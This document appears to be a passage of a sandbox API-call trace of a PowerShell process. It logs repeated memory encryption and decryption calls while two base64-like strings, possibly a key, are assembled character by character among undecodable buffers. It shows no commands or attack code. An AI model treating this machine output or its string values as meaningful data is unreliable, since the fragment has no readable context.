(param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x51eb\xfb3\xc071\xc502\x3a14\x3d18\x3d04\xdccc") returned 0x20 [0134.825] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.825] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR4Vշ⍵") returned 0x20 [0134.825] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.825] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x76b2\x467e\x2100\xaef8\xd90f\xdec1\x995a\xd41b") returned 0x20 [0134.825] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x76b2\x467e\x2100\xaef8\xd90f\xdec1\x995a\xd41b") returned 0x20 [0134.825] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.825] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR4V4շ⍵") returned 0x20 [0134.825] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.825] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x79b\xb4d9\x29b7\x1c62\xf74d\x50a4\xd6c\xe83a") returned 0x20 [0134.825] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x79b\xb4d9\x29b7\x1c62\xf74d\x50a4\xd6c\xe83a") returned 0x20 [0134.825] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.825] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR4V4F⍵") returned 0x20 [0134.825] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.825] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x5efc\xcd14\x7c73\xcb4d\xf4be\xf8e7\x9e21\x74c6") returned 0x20 [0134.825] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x5efc\xcd14\x7c73\xcb4d\xf4be\xf8e7\x9e21\x74c6") returned 0x20 [0134.825] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.825] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR4V4Fl") returned 0x20 [0134.825] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.825] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199") returned 0x20 [0134.826] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199") returned 0x20 [0134.826] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199") returned 0x20 [0134.826] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x312") returned 0x28 [0134.826] SystemFunction041 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.826] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR4V4FlQ䉹䙰ᢑ鳉᠐ᦏ") returned 0x28 [0134.826] SystemFunction040 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.826] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x9375\xdfb4\xa225\x8f26\x7fa\x6e61\x3625\xa70c") returned 0x28 [0134.826] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x9375\xdfb4\xa225\x8f26\x7fa\x6e61\x3625\xa70c") returned 0x28 [0134.826] SystemFunction041 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.826] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR4V4FlQ+䙰ᢑ鳉᠐ᦏ") returned 0x28 [0134.826] SystemFunction040 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.826] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x6c15\x9fc7\x3956\x278b\xf88b\xbd8d\x4252\xc681") returned 0x28 [0134.826] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x6c15\x9fc7\x3956\x278b\xf88b\xbd8d\x4252\xc681") returned 0x28 [0134.826] SystemFunction041 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.826] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR4V4FlQ+bᢑ鳉᠐ᦏ") returned 0x28 [0134.826] SystemFunction040 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.826] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\xd250\xb321\xb293\x423e\x8c8f\x5440\xc2ea\xb484") returned 0x28 [0134.826] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\xd250\xb321\xb293\x423e\x8c8f\x5440\xc2ea\xb484") returned 0x28 [0134.826] SystemFunction041 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.826] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR4V4FlQ+b8鳉᠐ᦏ") returned 0x28 [0134.826] SystemFunction040 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.827] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x26fc\x23ae\x1cad\xb327\xf18b\xc6d6\x990f\x8f9f") returned 0x28 [0134.827] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x26fc\x23ae\x1cad\xb327\xf18b\xc6d6\x990f\x8f9f") returned 0x28 [0134.827] SystemFunction041 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.827] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR4V4FlQ+b86᠐ᦏ") returned 0x28 [0134.827] SystemFunction040 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.827] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x59be\x1ff2\x76d6\x1474\x2ded\x937f\x7f24\x2630") returned 0x28 [0134.827] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x59be\x1ff2\x76d6\x1474\x2ded\x937f\x7f24\x2630") returned 0x28 [0134.827] SystemFunction041 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.827] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR4V4FlQ+b863᠐ᦏ") returned 0x28 [0134.827] SystemFunction040 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.827] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\xd605\xf30b\xefea\x44e\xd71d\x3fb4\xf3ca\x3ed") returned 0x28 [0134.827] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\xd605\xf30b\xefea\x44e\xd71d\x3fb4\xf3ca\x3ed") returned 0x28 [0134.827] SystemFunction041 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.827] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR4V4FlQ+b863gᦏ") returned 0x28 [0134.827] SystemFunction040 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.827] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x37fa\x54c5\xb4b4\x6b65\x7db8\xf9c3\x2a3\xff6e") returned 0x28 [0134.827] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x37fa\x54c5\xb4b4\x6b65\x7db8\xf9c3\x2a3\xff6e") returned 0x28 [0134.827] SystemFunction041 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.828] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR4V4FlQ+b863gj") returned 0x28 [0134.828] SystemFunction040 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.828] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x2d8a\x407b\xe56c\x633a\xeef\x9973\x739d\x4937") returned 0x28 [0134.828] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x2d8a\x407b\xe56c\x633a\xeef\x9973\x739d\x4937") returned 0x28 [0134.828] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x2d8a\x407b\xe56c\x633a\xeef\x9973\x739d\x4937") returned 0x28 [0134.828] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x2d8a\x407b\xe56c\x633a\xeef\x9973\x739d\x4937\x73\x50\x2e\x77\x61\x76\x2e\x6c") returned 0x30 [0134.828] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0134.828] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR4V4FlQ+b863gjV玄卟谭粒䪕١") returned 0x30 [0134.828] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0134.828] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x2d8a\x407b\xe56c\x633a\xeef\x9973\x739d\x4937\x1d4c\xe6b2\x7a78\x76d0\xf226\x915\xd427\x70ae") returned 0x30 [0134.828] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x2d8a\x407b\xe56c\x633a\xeef\x9973\x739d\x4937\x1d4c\xe6b2\x7a78\x76d0\xf226\x915\xd427\x70ae") returned 0x30 [0134.828] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0134.828] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR4V4FlQ+b863gjV6玄卟谭粒䪕١") returned 0x30 [0134.828] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0134.828] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x2d8a\x407b\xe56c\x633a\xeef\x9973\x739d\x4937\x13eb\xf145\x3da9\x8479\x4d43\x2f8a\x91a8\x6180") returned 0x30 [0134.828] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x2d8a\x407b\xe56c\x633a\xeef\x9973\x739d\x4937\x13eb\xf145\x3da9\x8479\x4d43\x2f8a\x91a8\x6180") returned 0x30 [0134.828] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0134.829] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR4V4FlQ+b863gjV6c卟谭粒䪕١") returned 0x30 [0134.829] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0134.829] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x2d8a\x407b\xe56c\x633a\xeef\x9973\x739d\x4937\xae63\xdafd\xa3ae\x3c15\x8099\x2bc8\x9d57\xff14") returned 0x30 [0134.829] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x2f8c\xead7\xe44b\x4021\xd34b\xa15f\x6ebd\x3199\x2d8a\x407b\xe56c\x633a\xeef\x9973\x739d\x4937\xae63\xdafd\xa3ae\x3c15\x8099\x2bc8\x9d57\xff14") returned 0x30 [0134.829] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0134.829] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR4V4FlQ+b863gjV6c=谭粒䪕١") returned 0x30 [0134.829] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0134.829] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.829] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.829] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.829] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0134.829] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.829] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.829] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.830] SysStringLen (param_1="") returned 0x8 [0134.830] SysStringLen (param_1="Y") returned 0x8 [0134.830] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.830] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.830] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.830] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.830] SysStringLen (param_1="YW") returned 0x8 [0134.830] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.830] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.830] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.830] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.830] SysStringLen (param_1="YWM") returned 0x8 [0134.830] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.830] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.830] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.830] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.830] SysStringLen (param_1="YWM1") returned 0x8 [0134.830] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.830] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.830] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.830] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.831] SysStringLen (param_1="YWM1O") returned 0x8 [0134.831] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.831] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.831] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.831] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.831] SysStringLen (param_1="YWM1OT") returned 0x8 [0134.831] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.831] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.831] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.831] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.831] SysStringLen (param_1="YWM1OTE") returned 0x8 [0134.831] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.831] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.831] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.831] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.831] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0134.831] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.831] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.831] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.831] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.831] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0134.832] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.832] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0134.832] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: 